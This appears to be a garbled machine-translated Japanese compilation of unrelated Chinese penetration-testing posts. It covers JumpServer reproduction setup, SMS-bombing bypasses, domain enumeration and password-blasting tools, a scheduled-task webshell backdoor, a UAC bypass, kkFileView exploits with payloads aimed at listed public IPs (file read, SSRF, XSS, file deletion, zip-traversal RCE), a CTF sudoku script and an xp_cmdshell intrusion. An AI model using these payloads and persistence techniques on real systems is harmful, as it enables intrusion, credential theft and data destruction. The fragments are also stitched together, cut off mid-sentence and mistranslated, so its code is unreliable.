WebSocket接続は許可なしに確立できます。ログファイルをWebSocketを介して読み取り、LOGファイルのシステムユーザー、ユーザー、およびアセットフィールドを取得できます。 3のフィールドを通じて、トークンを通して20秒のトークンを取得し、Koko Ttyに入ることができます。コマンドを実行する

2脆弱性の再発

2.1環境構築

ローカル環境:Xubuntu20.04JumpServerバージョン:2.6.1バージョンインストール手順:

#ダウンロード

git clone 3https://github.com/jumpserver/installer.git

CDインストーラー

#国内のDockerソースアクセラレーション

Export docker_image_prefix=docker.mirrors.ustc.edu.cn

#開発バージョンをインストールしてから2.6.1に切り替えます(2.6.1を直接インストールできるはずです。最初はデフォルトの開発バージョンとしてインストールされましたが、問題ではありません)

sudo su

./jmsctl.shインストール

./jmsctl.shアップグレードv2.6.1

# 起動する

./jmsctl.shフルログを再起動します

#yanq @ yanq-desk in〜/gitrepo [22:18336053] c:127

$ git clone 3https://github.com/jumpserver/installer.git

「インストーラー」へのクローニング.

remote:列挙オブジェクト: 467、完了。

remote:合計467(デルタ0)、再利用0(デルタ0)、パックリューズ467

: 100%(467/467)、95.24 kib | 182.00キブ/s、完了。

プロセス: 100%(305/305)、完了。

#yanq @ yanq-desk in〜/gitrepo [22:20:27]

$ CDインストーラー

#yanq @ yanq-desk in〜/gitrepo/installer on git:master o [22:20:30]

$ ls

Config-example.txt config_init jmsctl.sh readme.md scripts static.env utilsを作成します

#yanq @ yanq-desk in〜/gitrepo [22:18336059]

$ export docker_image_prefix=docker.mirrors.ustc.edu.cn

#yanq @ yanq in〜/github/installer on git:master o [22336003:43] c:130

$ sudo su

root@yanq:/home/yanq/github/installer#./jmsctl.shインストール

██╗██╗██╗███╗██╗███╗███╗██████╗██╗

██║██║███████████████████╔═════════════════════██║███████████████████╔═════════════════════██║

██║██║██║██║██████╔╝██║██║█████╗██████╔╝

█████████████║╚██║╚██╔╝██═══╝╚════██╔══╝╚════██╔══╝██╔═══╝██╔══╝

╚█████╔╝╚██████╔╝██║╚═╝╚═╝██║██║██║╚████╔╝███████╗██║

╚════╝╚═══╝╚════╝╚═╝╚═╝╚═╝

version: dev

1. JumpServerを構成します

1.構成ファイルを確認します

各コンポーネントは、YAML形式の代わりに環境変数構成ファイルを使用し、構成名は前のものと一致しています

構成ファイルの場所: /opt/jumpserver/config/config.txt

仕上げる

2。nginx証明書を構成します

証明書の場所は:/opt/jumpserver/config/nginx/certです

仕上げる

3。バックアップ構成ファイル

/opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52にバックアップします

仕上げる

4.ネットワークを構成します

IPv6をサポートする必要がありますか? (y/n)(デフォルトはn): n

仕上げる

5.暗号化キーを自動的に生成します

仕上げる

6.永続性ディレクトリを構成します

ログ記録などの永続的なディレクトリを変更し、最大のディスクを見つけ、 /opt /jumpserverなどのディレクトリを作成します

インストール後に:を変更できないことに注意してください。そうしないと、データベースが失われる可能性があります。

使用可能なファイルシステム容量は、使用済みの使用%マウントポイントです

udev 7.3g 0 7.3g 0% /dev

/dev /nvme0n1p2 468g 200g 245g 45% /

/dev/loop1 56m 56m 0 100%/snap/core18/1944

/dev/loop2 65m 65m 0 100%/snap/gtk-common-themes/1513

/dev/loop3 218m 218m 0 100%/snap/gnome-3-34-1804/60

/dev/loop0 56m 56m 0 100%/snap/core18/1932

/dev/loop5 32m 32m 0 100%/snap/snapd/10492

/dev/loop6 65m 65m 0 100%/snap/gtk-common-themes/1514

/dev/loop4 52m 52m 0 100%/snap/snap-store/498

/dev/loop7 52m 52m 0 100%/snap/snap-store/518

/dev/loop8 219m 219m 0 100%/snap/gnome-3-34-1804/66

/dev/loop9 32m 32m 0 100%/snap/snapd/10707

/dev/nvme0n1p1 511m 7.8m 504m 2%/boot/efi

永続的なボリュームストレージディレクトリ(デフォルトは /opt /jumpserver):を設定します

仕上げる

7. mysqlを構成します

外部mysql(y/n)を使用するかどうか(デフォルトはn): n

仕上げる

8。redisを構成します

外部redis(y/n)を使用するかどうか(デフォルトはn): n

仕上げる

2。Dockerをインストールして構成します

1。Dockerをインストールします

Dockerプログラムのダウンロードを開始します.

-2021-01-17 22:04336012--- https://Mirrors.aliyun.com/docker-ce/linux/static/statable/x86_64/docker-8.06.2-ce.tgz

ホストmirrors.aliyun.com(mirrors.aliyun.com). 180.97.148.110、101.89.125.248、58.216.16.38、

mirrors.aliyun.com(mirrors.aliyun.com)| 180.97.148.110 | :443 .接続。

HTTPリクエストが発行され、応答を待っています. 200 OK

長さ:43834194(42M)[アプリケーション/X-TAR]

: "/tmp/docker.tar.gzに節約

/tmp/docker.tar.gz 100%[======================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================

2021-01-17 22:04336016(13.8 MB/s)-Saved "/tmp/docker.tar.gz" [43834194/43834194]))

Docker Composeプログラムのダウンロードを開始します.

-2021-01-17 22:04336017--https://Get.daocloud.io/docker/compose/releases/dowdoload/1.27.4/docker-compose-linux-x86_64

ホストの解決get.daocloud.io(get.daocloud.io). 106.75.86.15

接続get.daocloud.io(get.daocloud.io)| 106.75.86.15 | :443 .接続。

HTTPリクエストが発行され、応答を待っています. 302が見つかりました

場所:https://DN-DAO-GITHUB-MIRROR.DAOCLOUD.io/docker/compose/releases/download/1.27.4/docker-compose-linux-x86_64 [新しいURLに従ってください]

-2021-01-17 223:04:28--- https://DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO/DOCKER/COMPOSE/RELEASES/DOWNLOAD/1.27.4/DOCKER-COMPOSE-LINUX-X86_64

ホストdn-dao-github-mirror.daocloud.io(dn-dao-github-mirror.daocloud.io). 240e:ff:a024:200:33603fe、 240E:964:100:302:33603FE、61.160.204.242、

DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO(DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO)| 240E:FF:A024:200:33603FE | :43 .接続。

HTTPリクエストが発行され、応答を待っています. 200 OK

長さ:12218968(12M)[アプリケーション/X-執行可能]

: "/tmp/docker-compose"に節約

/TMP/Docker-Compose

当事者Aのビジネスをテストしたり、SRCやその他のサービスを掘ったりするとき、SMS検証が送信される場所に遭遇することがよくあります。考えることができるのは、ユーザーによるログイン、SMS爆撃、およびパスワードを変更するユーザーなどの論理的な脆弱性です。また、単純な脆弱性には、明確な思考分析が必要であり、いくつかのSMSを使用して複数のバイパスケースを爆撃して共有し、リスクと低リスクを使用してそれらを収集します。 1。パラメーター汚染バイパスパラメーター汚染、つまり、背景にテキストメッセージを送信するとき、数の一部が取得されます。他の文字を混ぜると、送信された携帯電話番号の制限の確認をバイパスします:1049983-20230406203235605-677102358.jpg2。可変汚染は、いわゆる可変汚染をバイパスします。おそらく、背景が最初の変数のコンテンツをチェックし、値として扱われますが、データパケットが背景に渡されると、パラメーター名が同じ場合、2番目、3番目、4番目、および最後のパラメーターがベンチマークとして渡されるため、バックエンドの制限は:01011049983-20230406203237344-2127976321.jpg3に渡されます。携帯電話番号をバイパスするデータ長の定義は11桁ですが、背景は、123=0123=00123などの送信された携帯電話番号の長さを確認しません。この方法は、携帯電話番号をバイパスするために使用されます。確認コードを送信するとき、フロントエンドは状態をもたらします。この状態を変更することにより、システムの制限をバイパスできます。たとえば、登録されたユーザーはテキストメッセージを送信することはできません。反対に、未登録のユーザーはテキストメッセージを送信できません。フレーズはTrue 1049983-20230406203238839-1649026213.jpg5に変更されます。クッキーは、薬を変えないようにスープを迂回して置き換えます。 Cookieのユーザーの資格情報を確認します。 Cookieのいくつかのパラメーターを変更することにより、バイパスをバイパスして携帯電話番号を送信/登録してテキストメッセージを送信できます:1049983-20230406203239567-527777944.jpg 1049983-20230406203240335-1564604767.jpg6。 [SPASTバイパスSMS爆撃] [画像なし] SMSを送信するときは11桁ですが、データベースはフィールドの長さを11に制限しません。元の検証はスペースを追加することでバイパスされます。ただし、バックグラウンドで番号を送信すると、有効な文字の前のフィールドが取得されるため、バイパスされた方法が得られます。 7。 8。[APIインターフェイスに基づいて] [写真なし]この脆弱性については、一般に、フロントデスクに携帯電話番号を入力し、リクエスト1を送信して背景に移動して、送信要求を実行できるかどうかを判断します。

2。そうでない場合は、誤ったものまたはエラーを返します。成功した場合は、trueまたは成功を返します。返されたものを見つけてください。

この種の脆弱性は、インターフェイスに記載されている場合があります。

0x01。 netlocalgroupgetMembers

関数:ターゲットサーバーローカル管理グループのクエリメンバー

1049983-20230323151123817-61694149.png

0x02。 netlocalgroupenum

機能:指定されたサーバーのすべてのローカルグループを返します

1049983-20230323151125016-233092716.png

0x03。 netgroupgetusers

機能:指定されたサーバーと指定されたグループのすべてのメンバーを返します

ドメイン内の各グループのメンバーをクエリし、IPはドメインコントロールIPでなければなりません

1049983-20230323151126012-1342971612.png

0x04。 Netuserenum

機能:非表示のユーザーを含むターゲットサーバーのすべてのユーザーをクエリします

4ky3lgedepc2869.png

1049983-20230323151126797-88203591.png

0x05。 wnetaddconnection2a

機能:IPC接続を確立します。これにより、ターゲット共有ディレクトリをローカルディスクにマッピングできます

1049983-20230323151127542-1431694340.png0x06。 wnetcancelconnection2

関数:IPC接続を削除します

1049983-20230323151128551-473455335.png0x07。 Enudomainuser

関数:ドメインユーザーを列挙します

1。はじめに

適用可能:現在の境界マシンのアクセス許可は、ワーキンググループマシンです。 NLTESTやNBTSCANなどのツールを介して、イントラネットにはドメイン環境があり、ドメイン制御IPが見つかっていることがわかりますが、侵入のアイデアはドメインユーザーの許可にはありません。

前提条件:ドメインコントロールとの空の接続を確立する能力

実装の原則:ドメインマネージャーには、デフォルトで管理者ユーザーがいます。管理者ドメインマネージャーのSIDは、Windows APIを介して見つかり、SID範囲を反復し、ドメインメンバー(ドメインユーザーとドメインマシン)を列挙します。

SID範囲:ドメインユーザーとドメインマシンのSIDは一般に1000を超えているため、ツールを使用する場合、SIDを1000を超えて横断します

2。ツールの使用

ヘルプ:

c: \ uses \ administrator \ desktopenudomainuser.exe

usage: enudomainuser.exe dc-ip domainname \ username start sid end sid t_num

Enudomainuser.exe \\ 192.168.52.2 Hack \ Administrator 1000 2000 100

enudomainuser.exe \\ドメインコントロールIPドメイン名\ドメインユーザー名デフォルト管理者SID END SID番号

デモを使用します:

Enudomainuser.exe 192.168.52.2 Hack \ Administrator 1000 2000 100

パラメーター説明:

192.168.52.2はドメインコントロールIPです

ハックはドメイン名です

管理者は、ドメイン管理のデフォルトユーザーです

1000はトラバーサルSIDの始まりです

2000はトラバーサルSIDの終わりです - 10000、20000など、少し高く設定できます。

100はマルチスレッドの数です

n1ipemjchke2873.png

1049983-20230323151129593-1430331576.png

0x08。 blastdomainuserpwd

機能:ドメインユーザーパスワードをブラストします

1。はじめに

IPC経由で接続- ブラストドメインユーザーのパスワード

EnudomainuserツールまたはKerbruteツールを組み合わせて、ドメインユーザー名リストを取得してからバースト

360に殺された場合は、exe名を変更するだけです

デザインのアイデア:

ドメインコントロールとの空の接続を確立できる場合は、Enudomainuserツールを使用して、すべてのドメインユーザー名を列挙してトラバースします

ドメインコントロールとの空の接続を確立できない場合は、kerbruteツールを使用してドメインユーザー名を爆破します

ドメインユーザー名のバッチを取得した後、ドメインユーザーパスワードの弱いパスワードを破ろうとし始めます

ドメインユーザーのパスワードに強度要件がある場合は、強力なパスワードを爆破してみてください。例:P@SSW0RD、1QAZ@WSXなど。

2。ツールの使用

usage: blastdomainuserpwd.exe domaincomputerip domainuser.txtパスワードt_num

blastdomainuserpwd.exe \\ 192.168.52.29 domainuser.txtパスワード100

blastdomainuserpwd.exe \\ドメインマシンIPドメインユーザー名辞書パスワード数のマルチスレッドを爆破しようとするパスワード

ドメインユーザー名辞書形式の仕様:ドメイン名\ドメインユーザー名

domain \ user

1049983-20230323151130536-534546264.png

実行の例:BlastDomainUserpwd.exe \\ 192.168.52.2 domainuser.txt 1qaz@wsx 3

1049983-20230323151131665-478973375.jpgドメインユーザーパスワードが正常に爆破されたことは、現在のディレクトリのsuccess.txtテキストに保存されます

1049983-20230323151132492-1163518885.png

jatow3dnlcg2878.png

0x09。 schtaskbackdoorwebshell

機能:タスクメンテナンスのWebシェルをスケジュールします

1。適用可能なシナリオ:

ディフェンダーは保護ネットワークでウェブシェルを発見し、それをクリアしました。脆弱性も修正されました。その後、ウェブサイトが復元されたとき、ウェブシェルをアップロードできなくなり、ウェブシェルはスケジュールされたタスクを通じて書き換えられました。

2。条件:

管理者の許可。スケジュールされたタスクを作成するには、管理者の権限が必要です

3。使用方法:

xxxx.exe C: \ www \ upload \ 1.jsp

4。実装プロセス:

c: \ www \ upload \ 1.jspのコンテンツをC: \ windows \ temp \ tempsh.txtにコピーしてから、計画されたタスクを作成します。実行されたコマンドはC: \ Windows \ System32 \ cmd.exe /c Copy C: \ Windows \ Temp \ Tempsh.txt C: \ www \ upload \ 1.jsp、30分ごとにトリガーされます。

5。ビデオディスプレイ:

k1dykjhv0d42879.gif

0x10。 regeditbypassuac

関数:UAC経由でexeを実行します。コンパイルされたEXEはWin10にのみ適していますが、Win7ではありません。

1。特定のプロセス

ホワイトリストプログラムレジストリバイパッソック

2。ビデオデモンストレーション

1049983-20230323151133619-1385657115.jpg

0x11。 DelegationVul

機能:内部ドメインの制約委任の検出

1。制約付き委任の利用

制約付き委任の利用

2。ビデオデモンストレーション

1049983-20230323151135034-1208473538.jpg

3。リソースベースの制約委任の利用

リソースベースの制約付き委任の利用

4。ビデオデモンストレーション

1049983-20230323151136117-431754580.jpg

0x12。 360SafebrowserDecrypt

関数:

ターゲットマシンで直接実行しますが、殺すしかありません

360SafebrowserDecrypt.exe

ターゲットマシンIDとASSIS2.DBデータベースをローカル復号化にドラッグします

マシンID:を確認してください

reg query 'hklm \ software \ microsoft \ cryptography' /v 'machineguid'

360セーフブラウザーインストールディレクトリ:を確認してください

reg query 'hkcr \ 360seses \ defaulticon'

デフォルトのASSIS2.DBデータベースディレクトリ:

c: \ users \

0x00 Kkfileview

には任意のファイル読み取り脆弱性があります

脆弱性説明Kkkfileviewは、中国でファイルドキュメントを作成するためのスプリングブートオンラインプレビュープロジェクトです。 KkkfileviewのKekingには、ディレクトリトラバーサルの脆弱性を介して任意のファイルを読み取ることの存在に由来するセキュリティの脆弱性があり、関連するホストに機密ファイルが漏れている可能性があります。

脆弱性はkkfileview=3.6.0に影響します

fofa query body='kkfile:view'

脆弱性の証明1049983-20230504221453043-1016303644.png

http://103.39.221.102:8012 //getCorsFile?urlpath=file: ///etc/passwd

1049983-20230504221453794-775012493.png

0x01 KKFILEVIEW SSR脆弱性

脆弱性説明KKFileview v4.1.0にはSSRFの脆弱性があります。攻撃者は、この脆弱性を悪用して、サーバー側のリクエスト偽造(SSRF)を引き起こす可能性があります。リモート攻撃者は、URLをURLパラメーターに注入して、アプリケーションに要求を強制的に発行できます。

脆弱性はkkfileview=v4.1.0に影響します

脆弱性の証明1049983-20230504221454445-1305845918.png 1049983-20230504221455114-887037370.png

http://121.40.238.4833608012 //getCorsFile?urlPath=AHR0CDOVL2QYYJY0NWQ3LMRUCY5KBNNTYXAUB3JN

1049983-20230504221455871-207554484.png 1049983-20230504221456993-720261784.png

0x03 kkfileview XSS脆弱性

脆弱性説明KKFILEVIEW V4.1.0には2つのXSS脆弱性があり、ウェブサイトCookieのリークにつながる可能性があります。

脆弱性はkkfileview=v4.1.0に影響します

脆弱性証明3http://www.baidu.com/test.txt'img src=111 oneerror=alert(1)

base64:のエンコード

ahr0cdovl3d3d3d3d3d3iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmsbvvmvycm9ypwfszxj0kdeppg==

URLエンコード:

AHR0CDOVL3D3D3D3D3D3IYWLKDS5JB20VDGVZDC50EHQIPJXPBWCGC3JPTEXMSBVVMVYCM9YPWFSZXJ0KDEPPG%3D%3D

POC1:

/onlinepreview?url=%3cimg%20src=x%20onerror=alert(0)%3e

/picturespreview?urls=ahr0cdovl3d3d3d3d3d3d3iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmsbvvbmvycm9ypwfszxj0kdeppg%3d%3d

http://139.9.99.164.127:8012/onlinepreview?url=%3cimg%20src=x%20onerror=alert(0)%3e

1049983-20230504221457649-612694906.png

http://119.91.146.127:8012/picturespreview?urls=ahr0cdovl3d3d3d3d3d3dy5iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmbvbbvvbbvvvmvycm9ypfsxxj0kepgkepgkepgkepgkdpgd

1049983-20230504221458330-495525609.png

svg/onload=alert(1)base64:のエンコード

phn2zy9vbmxvywq9ywxlcnqomsk+

URLエンコード:

phn2zy9vbmxvywq9ywxlcnqumsk%2b

POC2:

/picturespreview?urls=currenturl=phn2zy9vbmxvywq9ywxlcnqomsk%2b

http://119.91.146.127:8012/picturespreview?urls=culrenturl=phn2zy9vbmxvywq9ywxlcnqumsk%2b

1049983-20230504221458944-1650026347.png

0x04 kkfileview任意のファイルをアップロードして、XSSとファイルインクルージョンの脆弱性をもたらします

脆弱性説明KKFileViewのバージョン全体にファイル解決脆弱性があります。攻撃者は、この脆弱性を使用して、ストレージXSS、ファイル包含、またはSSRFを作成できます。リモート攻撃者は、JavasRiptスクリプトをサーバーにアップロードすることにより、アプリケーションを永続的に使用して攻撃要求を発行できます。

脆弱性はkkfileview=4.1.0に影響します

脆弱性証明1。ファイルをアップロードします

1049983-20230504221459633-1950754539.png

1049983-20230504221500351-362477331.png

2。脆弱性の場所にアクセスします

http://139.9.101.60:8012/demo/2.html

1049983-20230504221501003-1408400025.png

1049983-20230504221501589-396938795.png

2。ファイルには次のものが含まれます。

https://file.keking.cn/demo/test1.js image

アクセス:

https://file.keking.cn/demo/test14.html image

0x05 kkfileview任意のファイル削除脆弱性

脆弱性の説明

kkfileview v4.0.0には任意のファイル削除脆弱性があり、システム内のファイルが削除される可能性があります

脆弱性の影響

kkfileview=v4.0.0

脆弱性証明

/deletefile?filename=demo%2f.ionss.pdf

このURIへのリクエストの取得は、\ kkfileview-master \ server \ src \ main \ fileディレクトリのxss.pdfを削除します(元々、\ kkfileview-master \ server \ src \ main \ file \ demoディレクトリの下のファイル)

1049983-20230504221503856-1243945439.png 1049983-20230504221504580-1401680988.png

0x06 KFILEVIEW-V4.3.0〜V4.40-BETA RCE脆弱性

脆弱性への影響:V4.2.1とV4.2.0は両方の影響、4.1.0は影響を受けません

ファイルをアップロード

インポートzipfile

__name__=='__main __' :の場合

try:

binary1=b'1ueeeeeee '

binary2=b'hacked_by_1ue '

zipfile=zipfile.zipfile( 'hack.zip'、 'a'、zipfile.zip_deflated)

info=zipfile.zipinfo( 'hack.zip')

zipfile.writestr( 'test'、binary1)

zipfile.writestr( '././././././././././././././././././././././///./tmp/flag'、binary2)

zipfile.close()

e:としてのioerrorを除く

eを上げる

hack.zip_cacheファイルの作成を容易にするには、悪意のあるhack.zipを作成します。

img

ファイルとプレビューをアップロードします

img

img

成功した旅行を発見してください

rce

任意のファイルをアップロードし、ファイルの内容を追加できます

私の調査の後、私はターゲットがODTをPDFに使用するときにシステムのLibreofficeを呼び出すことを発見し、このプロセスはライブラリのUno.pyファイルを呼び出すため、Pyファイルのコンテンツを上書きすることができます。

zipfileをインポートします

__name__=='__main __' :の場合

try:

binary1=b'1ue '

binary2=b'import os \ r \ nos.system(\ 'touch /tmp /hack_by_1ue \') '

zipfile=zipfile.zipfile( 'hack.zip'、 'a'、zipfile.zip_deflated)

info=zipfile.zipinfo( 'hack.zip')

zipfile.writestr( 'test'、binary1)

Zipfile.Writestr( '././././././././././././././././././././././オプション/./.

zipfile.close()

e:としてのioerrorを除く

eを上げる

悪意のあるzipパッケージのアップロードとプレビュー

img

次に、ODTファイルをアップロードし、LibreOfficeタスクを開始してアップロードおよびプレビューします

img

コマンドが正常に実行されたことがわかります

img

コンテンツは確かにuno.pyで書かれています

re

emoji connect

はExcelプラグインです。プレイを開始した後、4848マトリックスが初期化されます。各グリッドには絵文字があり、その後、毎回2つのグリッドがクリックされます。 2つのグリッドの絵文字が同じ場合、これらの2つのグリッドは排除されます。最初は、星などの3つのグリッドの排除だと思っていましたが、ゲームのロジックを見ると一度に2つしか置き換えなかったので、次々に見ました。次に、フラグのロジックは、グリッドが排除されるたびにグリッドの行を差し引くことです。添え字は、魔法の方法を使用してUnicodeから転送されます。マトリックス内の絵文字の最小値を直接使用して、下付き文字をオフセットします。

dat='' '

1。ミス

1.Sudoku_easy

シンプルな数独身、注意を払うためのいくつかの小さなポイント、各レベルが送信されてから5秒後に睡眠をとって、質問が眠りに返されます

image-20230610185716309

形を次のようにします

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

800103720

023840650

410006008

300001062

0052407

072060090

160000375

205019846

000030000

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

2次元配列に変換して数独を解き、戻り結果をマルチライン文字列に再変換します

def parse_input(input_list):

ボード=[]

input_list:の行

nums=list(map(int、row))

board.append(nums)

返品ボード

def format_output(board):

formatted=''

ボード:の行

formatted +='' .join(map(str、row)) + '\ n'

return formatted.strip()

最初は、5ポイントを獲得するたびに120ポイントを獲得する必要があり、24回の範囲を持っていると思いましたが、問題を抱えていました。その後、スコアが増加したことがわかりました。同時に、私はデバッグし、120ポイントを獲得した場合、ゲッシェルを返すため、範囲を7回変更したことがわかりました。

最終スクリプト:

def find_empty(board):

範囲の行(9):の場合

範囲のcol(9):の場合

ボード[row] [col]==0:の場合

Return Row、col

なしなし

def is_valid(board、num、pos):

行、col=pos

範囲のIの場合(9):

ボード[row] [i]==numおよびcol!=i:の場合

falseを返します

ボード[i] [col]==num and row!=i:の場合

falseを返します

box_row=row //3

box_col=col //3

範囲のi(box_row * 3、box_row * 3 + 3):

range(box_col * 3、box_col * 3 + 3):の場合

ボード[i] [j]==numおよび(i、j)!=pos:の場合

falseを返します

trueを返します

def solve(board):

find=find_empty(ボード)

find:がない場合

trueを返します

else:

行、col=find

範囲(1、10):のIの場合

is_valid(board、i、(row、col)):の場合

ボード[row] [col]=i

解決(ボード):の場合

trueを返します

ボード[row] [col]=0

falseを返します

def parse_input(input_list):

ボード=[]

input_list:の行

nums=list(map(int、row))

board.append(nums)

返品ボード

def format_output(board):

formatted=''

ボード:の行

formatted +='' .join(map(str、row)) + '\ n'

return formatted.strip()

#input_string='' '-------------------------

#800103720

#023840650

#410006008

#300001062

#000052407

#072060090

#160000375

#205019846

#000030000

#----------------------------

#今、私にあなたがsolve: '' 'を与えてください

#リスト=input_string.split( '\ n')[1:10]

#ボード=parse_input(lists)

#印刷(ボード)

#solve(ボード)

#印刷(ボード)

PWNインポートから *

#接続を作成します

conn=remote('47 .108.165.60 '、27539)

#ウェルカムメッセージを受け取ります

範囲のIの場合(7):

msg=conn.recvuntil( '入力:')。ストリップ()。デコード( 'utf-8')

印刷(msg)

#選択を送信します

conn.sendline( '1'.encode())

#次のプロンプトを受信します

msg=conn.recvuntil( 'level:'を選択してください)。ストリップ()。デコード( 'utf-8')

印刷(msg)

conn.sendline( '5'.encode())

msg=conn.recvuntil( 'clock start')。strip()。decode( 'utf-8')

印刷(msg)

time.sleep(5)

msg=conn.recvuntil( '今私にsolve:'を与えます)。sprip()。decode( 'utf-8')

印刷(msg)

lists=msg.split( '\ n')[1:10]

board=parse_input(lists)

SOLVE(ボード)

solved=format_output(board)

conn.sendline(solved.encode())

conn.Interactive()

または

PWNインポートから *

def is_valid(board、row、col、num):

#行が合法かどうかを確認してください

範囲のIの場合(9):

ボード[row] [i]==num:の場合

falseを返します

#列が合法かどうかを確認してください

範囲のIの場合(9):

ボード[i] [col]==num:の場合

falseを返します

#9番目の広場が合法かどうかを確認してください

start_row=(row //3) * 3

start_col=(col //3) * 3

範囲のIの場合(3):

範囲(3):のJの場合

ボード[start_row + i] [start_col + j]==num:の場合

falseを返します

trueを返します

def solve_sudoku(ボード):

範囲の行(9):の場合

範囲のcol(9):の場合

ボード[row] [col]==0:の場合

範囲のnum(1、10):の場合

is_valid(Board、row、col、num):の場合

ボード[row] [col]=num

solve_sudoku(ボード):の場合

trueを返します

ボード[row] [col]=0#バックトラッキング

falseを返す#すべての数字が試され、適切な数字が見つかりませんでした

trueを返します

def print_sudoku(board):

a=''

範囲の行(9):の場合

範囲のcol(9):の場合

a +=str(board [row] [col])

a+='\ n'

A.Strip()を返します

context.log_level='debug'

p=remote('47 .108.165.60 '、23479)

p.recv()

範囲のIの場合(7):

P.Sendline( '1')

P.Recvuntil( 'レベル:を選択してください')

P.Sendline( '5')

a='------------------- \ nnow shive you solve:'

content=p.recvuntil(a).decode()。分割(a)[0] [-130:]

sudoku=content.split( '-------------------')[1]

sudoku=sudoku.strip()

sudoku=sudoku.split( '\ n')

tmp=[]

sudoku:のsudoの場合

a=sudoのsの[int(s)]

TMP.Append(a)

solve_sudoku(tmp):の場合

result=print_sudoku(tmp)

log.info(結果)

result.split( '\ n'):のラインの場合

p.send(line)

#content=p.recv()。decode()

p.interactive()

独立した数独復号化スクリプト:

クラスsudoku():

def __init __(self、sudo_ku_data):

ISInstanceではない場合(sudo_ku_data、list):

Raise TypeError(f'sudo_ku_data paramsはリストでなければなりませんが、{sudo_ku_data}は{type(sudo_ku_data)} 'です。

Len(sudo_ku_data)!=9またはlen(sudo_ku_data [0])!=9:の場合

タイプエラーを上げる(

f'sudo_ku_data paramsは9*9のリストでなければなりませんが、{sudo_ku_data}は{len(sudo_ku_data)}*{len(sudo_ku_data [0])} list ')です。

self.sudo_ku=sudo_ku_data

#既存のデータを各行に保存します

self.envery_row_data={}

#各列の既存の数字

self.every_column_data={}

#3*3ごとに

self.envery_three_to_three_data={}

#空席の場所

self.vacant_position=[]

#各空席で試した数字

self.every_vacant_position_tried_values={}

#データを初期化します

self._init()

def _add_row_data(self、row、value):

'' '

初期化の場合

self.envery_row_dataにデータを追加します

:param row:

:Param Value:

:RETURN:

'' '

rowがself.envery_row_data:にない場合

self.every_row_data [row]=set()

self.envery_row_data [row] :の値の場合

Raise TypeRror(f'params {self.sudo_ku}は無効な数独')

self.every_row_data [row] .add(value)

def _add_column_data(self、column、value):

'' '

初期化の場合

self.envery_column_dataにデータを追加します

:Param Column:

:Param Value:

:RETURN:

'' '

columnがself.envery_column_data:にない場合

self.every_column_data [column]=set()

self.envery_column_data [列] :の値の場合

Raise TypeRror(f'params {self.sudo_ku}は無効な数独')

self.every_column_data [column] .add(value)

def _get_three_to_three_key(self、row、column):

'' '

3*3キーごとに取得します

:param row:

:Param Column:

:RETURN:

'' '

[0、1、2] :の行の場合

[0、1、2] :の列の場合

key=1

[3、4、5] :の列列

key=2

else:

key=3

[3、4、5] :のElif Row

[0、1、2] :の列の場合

キー=4

[3、4、5] :の列列

key=5

else:

key=6

else:

[0、1、2] :の列の場合

key=7

[3、4、5] :の列列

key=8

else:

key=9

キーを返します

def _add_three_to_three_data(self、row、column、value):

'' '

初期化の場合

self.envery_three_to_three_dataにデータを追加します

:param row:

:Param Column:

:Param Value:

:RETURN:

'' '

key=self._get_three_to_three_key(列、列)

key.enty.envery_three_to_three_data:ではない場合

self.every_three_to_three_data [key]=set()

self.every_three_to_three_data [key] .add(value)

def _init(self):

'' '

入ってくる数独に基づいてデータを初期化します

:RETURN:

'' '

rowの場合、row_datas in enumerate(self.sudo_ku):

列の場合、値の値(row_datas):

value=='' :の場合

self.vacant_position.append((列、列))

else:

self._add_row_data(row、value)

self._add_column_data(列、値)

self._add_three_to_three_data(row、column、value)

def _judge_value_is_legal(self、row、column、value):

'' '

当事者によって配置されたデータが合法かどうかを判断する

:param row:

:Param Column:

:Param Value:

:RETURN:

'' '

#このデータの行に値は存在しますか

self.envery_row_data [row] :の値の場合

falseを返します

#このデータの列に値は存在しますか

self.envery_column_data [列] :の値の場合

falseを返します

#値この3*3の宮殿は存在しますか?

key=self._get_three_to_three_key(列、列)

self.envery_three_to_three_data [key] :の値の場合

falseを返します

trueを返します

def _calculate(self、vacant_position):

'' '

計算して、数独に値の配置を開始します

:PARAM VACANT_POSITION:

:RETURN:

'' '

#現在の場所を取得します

行、列=facant_position

値=set(範囲(1、10))

#現在の場所が現在の場所で試されたデータを保存するための一意のキーを作成します

key=str(row) + str(列)

#このキーが存在する場合は、値の差を取得します。両方ともセットであるため、直接使用するだけです -

self.envery_vacant_position_tried_values:のキーの場合

値=values-self.envery_vacant_position_tried_values [key]

#このキーが存在しない場合は、空のコレクションを作成します

else:

self.every_vacant_position_tried_values [key]=set()

値の値:

#現在のデータを現在の場所で試されたデータに追加します

self.every_vacant_position_tried_values [key] .add(value)

#現在の値が合法である場合、配置できます

self._judge_value_is_legal(row、column、value):の場合

#print(f'set {vacant_position}値は{値} ')

序文

少し前に、私は攻撃的で防御的なドリルに参加しました。従来の脆弱性を使用した後、私は多くのマスターがJSのブレークスルーを探している記事を共有していると思ったので、私はJSを始めたばかりで、ついにターゲット許可と個人情報を取得するためにイントラネットの入り口を開きました。ここでプロセスを共有しましょう。

ステートメント:このドリルでは、すべてのテスト機器がオーガナイザーによって提供され、すべてのトラフィックは監査のためにアーカイブされ、すべての操作は承認の下で完了し、すべてのデータは終了後に安全に破壊されました。

JS

を実行します

最初は1つのログインページのみがあり、ユーザー名を列挙できず、爆発の試みが失敗しました。

1049983-20230421162846001-590057695.jpg

BPを使用してパケットをキャッチしてJS関連のファイルを表示し、SQLステートメントがあることを見つけます

1049983-20230421162846874-1444649661.jpg

comboxSQL変数を追跡し、アクションクラスが定義されていることを発見します

1049983-20230421162847615-1929940280.jpg

このAction ClassPathを検索し、アクセス方法がURLステッチを使用していることを確認します。

1049983-20230421162848353-2077148943.jpg

パスがスプライスされ、パラメーターがSQLステートメントに入力されます。このテストでは、データベースがMSSQLデータベースであることがわかりました。システムコマンドは、XP_CMDSHELLを介して実行できます。

1049983-20230421162849113-20833891.jpg

シェルコデロデーターはオンラインで入手できます

